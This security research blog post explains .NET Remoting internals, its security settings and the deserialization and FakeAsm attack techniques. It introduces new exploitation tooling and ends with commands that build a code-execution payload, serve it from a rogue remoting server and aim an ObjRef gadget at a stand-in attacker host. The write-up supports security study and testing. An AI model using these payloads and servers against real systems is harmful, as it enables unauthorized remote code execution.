.NET Remoting Revisited
This was originally posted on blogger here.
.NET Remoting is the built-in architecture for remote method invocation in .NET. It is also the origin of the (in-)famous
SoapFormatter serializers and not just for that reason a promising target to watch for.
This blog post attempts to give insights into its features, security measures, and especially its weaknesses/vulnerabilities that often result in remote code execution. We’re also introducing major additions to the ExploitRemotingService tool, a new ObjRef gadget for YSoSerial.Net, and finally a RogueRemotingServer as counterpart to the ObjRef gadget.
If you already understand the internal of .NET Remoting, you may skip the introduction and proceed right with Security Features, Pitfalls, and Bypasses.
.NET Remoting is deeply integrated into the .NET Framework and allows invocation of methods across so called remoting boundaries. These can be different app domains within a single process, different processes on the same computer, or different processes on different computers. Supported transports between the client and server are HTTP, IPC (named pipes), and TCP.
Here is a simple example for illustration: the server creates and registers a transport server channel and then registers the class as a service with a well-known name at the server’s registry:
var channel = new TcpServerChannel(12345); ChannelServices.RegisterChannel(channel); RemotingConfiguration.RegisterWellKnownServiceType( typeof(MyRemotingClass), "MyRemotingClass" );
Then a client just needs the URL of the registered service to do remoting with the server:
var remote = (MyRemotingClass)RemotingServices.Connect( typeof(MyRemotingClass), "tcp://remoting-server:12345/MyRemotingClass" );
With this, every invocation of a method or property accessor on
remote gets forwarded to the remoting server, executed there, and the result gets returned to the client. This all happens transparently to the developer.
And although .NET Remoting has already been deprecated with the release of .NET Framework 3.0 in 2009 and is no longer available on .NET Core and .NET 5+, it is still around, even in contemporary enterprise level software products.
If you are interested in how .NET Remoting works under the hood, here are some insights.
In simple terms: when the client connects to the remoting object provided by the server, it creates a
RemotingProxy that implements the specified type
MyRemotingClass. All method invocations on
remote at the client (except for
GetHashCode()) will get sent to the server as remoting calls. When a method gets invoked on
remote, the proxy creates a
MethodCall object that holds the information of the method and passed parameters. It is then passed to a chain of sinks that prepare the
MethodCall and handle the remoting communication with the server over the given transport.
On the server side, the received request is also passed to a chain of sinks that reverses the process, which also includes deserialization of the
MethodCall object. It ends in a dispatcher sink, which invokes the actual implementation of the method with the passed parameters. The result of the method invocation is then put in a
MethodResponse object and gets returned to the client where the client sink chain deserializes the
MethodResponse object, extracts the returned object and passes it back to the
When the client or server creates a channel (either explicitly or implicitly by connecting to a remote service), it also sets up a chain of sinks for processing outgoing and incoming requests. For the server chain, the first sink is a transport sink, followed by formatter sinks (this is where the
SoapFormatter are used), and ending in the dispatch sink. It is also possible to add custom sinks. For the three transports, the server default chains are as follows:
On the client side, the sink chain looks similar but in reversed order, so first a formatter sink and finally the transport sink:
Note that the default client sink chain has a default formatter for each transport (HTTP uses SOAP, IPC and TCP use binary format) while the default server sink chain can process both formats. The default sink chains are only used if the channel was not created with an explicit
Passing Parameters and Return Values
Parameter values and return values can be transfered in two ways:
- by value: if either the type is serializable (cf.
Type.IsSerializable) or if there is a serialization surrogate for the type (see following paragraphs)
- by reference: if type extends
In case of the latter, the objects need to get marshaled using one of the
RemotingServices.Marshal methods. They register the object at the server’s registry and return a
ObjRef instance that holds the URL and type information of the marshaled object.
The marshaling happens automatically during serialization by the serialization surrogate class
RemotingSurrogate that is used for the
SoapFormatter in .NET Remoting (see
CoreChannel.CreateBinaryFormatter(bool, bool) and
CoreChannel.CreateSoapFormatter(bool, bool)). A serialization surrogate allows to customize serialization/deserialization of specified types.
In case of objects extending
RemotingSurrogateSelector returns a
RemotingSurrogate.GetSurrogate(Type, StreamingContext, out ISurrogateSelector)). It then calls the
RemotingSurrogate.GetObjectData(Object, SerializationInfo, StreamingContext) method, which calls the
RemotingServices.GetObjectData(object, SerializationInfo, StreamingContext), which then calls
RemotingServices.MarshalInternal(MarshalByRefObject, string, Type). That basically means, every remoting object extending
MarshalByRefObject is substituted with a
ObjRef and thus passed by reference instead of by value.
On the receiving side, if an
ObjRef gets deserialized by the
IObjectReference.GetRealObject(StreamingContext) implementation of
ObjRef gets called eventually. That interface method is used to replace an object during deserialization with the object returned by that method. In case of ObjRef, the method results in a call to
RemotingServices.Unmarshal(ObjRef, bool), which creates a RemotingProxy of the type and target URL specified in the deserialized
That means, in .NET Remoting all objects extending
MarshalByRefObject are passed by reference using an
ObjRef. And deserializing an ObjRef with a
SoapFormatter (not just limited to .NET Remoting) results in the creation of a
With this knowledge in mind, it should be easier to follow the rest of this post.
Most of the issues of .NET Remoting and the runtime serializers BinaryFormatter/SoapFormatter have already been identified by James Forshaw:
- Are you my Type? – Breaking .NET Through Serialization (Aug 2012)
- Stupid is as Stupid Does When It Comes to .NET Remoting (Nov 2014)
- Bypassing Low Type Filter in .NET Remoting (Oct 2019)
We highly encourage you to take the time to read the papers/posts. They are also the foundation of the ExploitRemotingService tool that will be detailed in ExploitRemotingService Explained further down in this post.
Security Features, Pitfalls, and Bypasses
The .NET Remoting is fairly configurable. The following security aspects are built-in and can be configured using special channel and formatter properties:
|HTTP Channel||IPC Channel||TCP Channel|
|Authorization||n/a|| ||custom |
|Impersonation||n/a|| || |
|Conf., Int., Auth. Protection||n/a||n/a|| |
|Interface Binding||n/a||n/a|| |
Pitfalls and important notes on these security features:
- No security features provided; ought to be implemented in IIS or by custom server sinks.
- By default, access to named pipes created by the IPC server channel are denied to NT Authority\Network group (SID S-1-5-2), i. e., they are only accessible from the same machine. However, by using
authorizationGroup, the network restriction is not in place so that the group that is allowed to access the named pipe may also do it remotely (not supported by the default
- With a secure TCP channel, authentication is required. However, if no custom
IAuthorizeRemotingConnectionis configured for authorization, it is possible to logon with any valid Windows account, including NT Authority\Anonymous Logon (SID S-1-5-7).
James Forshaw also released ExploitRemotingService, which contains a tool for attacking .NET Remoting services via IPC/TCP by the various attack techniques. We’ll try to explain them here.
There are basically two attack modes:
Exploit BinaryFormatter/SoapFormatter deserialization (see also YSoSerial.Net)
all other commands (see
Write a FakeAsm assembly to the server’s file system, load a type from it to register it at the server to be accessible via the existing .NET Remoting channel. It is then accessible via .NET Remoting and can perform various commands.
To see the real beauty of his sorcery and craftsmanship, we’ll try to explain the different operating options for the FakeAsm exploitation and their effects:
MarshalByRefObjectand thus is a reference (
ObjRef) to an object on the attacker’s server. On deserialization, the victim’s server creates a proxy that transparently forwards all method invocations to the attacker’s server. By exploiting a TOCTOU flaw, the
get_MethodBase()property method of the sent message (
FakeMessage) can be adjusted so that even static methods can be called. This allows to call
File.WriteAllBytes(string, byte)on the victim’s machine.
Send a forged
Hashtablewith a custom
IEqualityComparerby reference that implements
GetHashCode(object), which gets called by the victim server on the attacker’s server remotely. As for the key, a
FileInfo/DirectoryInfoobject is wrapped in
SerializationWrapperthat ensures the attacker’s object gets marshaled by value instead of by reference. However, on the remote call of
GetHashCode(object), the victim’s server sends the
FileInfo/DirectoryInfoby reference so that the attacker has a reference to the
FileInfo/DirectoryInfoobject on the victim.
MarshalByRefObject.InitializeLifetimeService()on a published object to get an
ILeaseinstance. Then call
MarshalByRefObjectobject as parameter to make the server call the
IConvertible.ToType(Type, IformatProvider)on an object of the attacker’s server, which then can deliver the deserialization payload.
Now the problem with the
--uselease option is that the remote class needs to return an actual
ILease object and not
null. This may happen if the virtual
MarshalByRefObject.InitializeLifetimeService() method is overriden. But the main principle of sending an
ObjRef referencing an object on the attacker’s server can be generalized with any method accepting a parameter. That is why we have added the
--useobjref to ExploitRemotingService (see also Community Contributions further below):
MarshalByRefObject.GetObjRef(Type)method with an
ObjRefas parameter value. Similarly to
--uselease, the server calls
IConvertible.ToType(Type, IformatProvider)on the proxy, which sends a remoting call to the attacker’s server.
Security Measures and Troubleshooting
If no custom errors are enabled and a RemotingException gets returned by the server, the following may help to identify the cause and to find a solution:
|Error||Reason||ExampleRemotingService Options||ExploitRemotingService Bypass Options|
|"Requested Service not found"||The URI of an existing remoting service must be known; there is no way to iterate them.||n/a|| |
| ||Disallow received || || |
| ||Code Access Security (CAS) restricted permissions in place ( || || |
Our research on .NET Remoting led to some new insights and discoveries that we want to share with the community. Together with this blog post, we have prepared the following contributions and new releases.
The ExploitRemotingService is already a magnificent tool for exploiting .NET Remoting services. However, we have made some additions to ExploitRemotingService that we think are worthwhile:
This newly added option allows to use the
Assemblies can only be loaded by name once. If that loading fails, the runtime remembers that and avoids trying to load it again. That means, writing the
FakeAsm.dllto the target server’s file system and loading a type from that assembly must succeed on the first attempt. The problem here is to find the proper location to write the assembly to where it will be searched by the runtime (ExploitRemotingService provides the options
--installdir=…to specify the location to write the DLL to). We have modified ExploitRemotingService to use the
--remnameto name the FakeAsm assembly so that it is possible to have multiple attempts of writing the assembly file to an appropriate location.
As IPC server channels may be accessible remotely, the
--ipcserveroption allows to specify the server’s name for a remote connection.
The new ObjRef gadget is basically the equivalent of the
sun.rmi.server.UnicastRef class used by the JRMPClient gadget in ysoserial for Java: on deserialization via
ObjRef gets transformed to a
RemotingProxy and method invocations on that object result in the attempt to send an outgoing remote method call to a specified target .NET Remoting endpoint. This can then be used with the RogueRemotingServer described below.
The newly released RogueRemotingServer is the counterpart of the ObjRef gadget for YSoSerial.Net. It is the equivalent to the JRMPListener server in ysoserial for Java and allows to start a rogue remoting server that delivers a raw
SoapFormatter payload via HTTP/IPC/TCP.
Example of ObjRef Gadget and RogueRemotingServer
Here is an example of how these tools can be used together:
# generate a SOAP payload for popping MSPaint ysoserial.exe -f SoapFormatter -g TextFormattingRunProperties -o raw -c MSPaint.exe > MSPaint.soap # start server to deliver the payload on all interfaces RogueRemotingServer.exe --wrapSoapPayload http://0.0.0.0/index.html MSPaint.soap
# test the ObjRef gadget with the target http://attacker/index.html ysoserial.exe -f BinaryFormatter -g ObjRef -o raw -c http://attacker/index.html -t
During deserialization of the
ObjRef gadget, an outgoing .NET Remoting method call request gets sent to the
RogueRemotingServer, which replies with the
TextFormattingRunProperties gadget payload.
.NET Remoting has already been deprecated long time ago for obvious reasons. If you are a developer, don’t use it and migrate from .NET Remoting to WCF.
If you have detected a .NET Remoting service and want to exploit it, we’ll recommend the excellent ExploitRemotingService by James Forshaw that works with IPC and TCP (for HTTP, have a look at Finding and Exploiting .NET Remoting over HTTP using Deserialisation by Soroush Dalili). If that doesn’t succeed, you may want to try it with the enhancements added to our fork of ExploitRemotingService, especially the
--useobjref technique and/or naming the
FakeAsm assembly via
--remname might help. And even if none of these work, you may still be able to invoke arbitrary methods on the exposed objects and take advantage of that.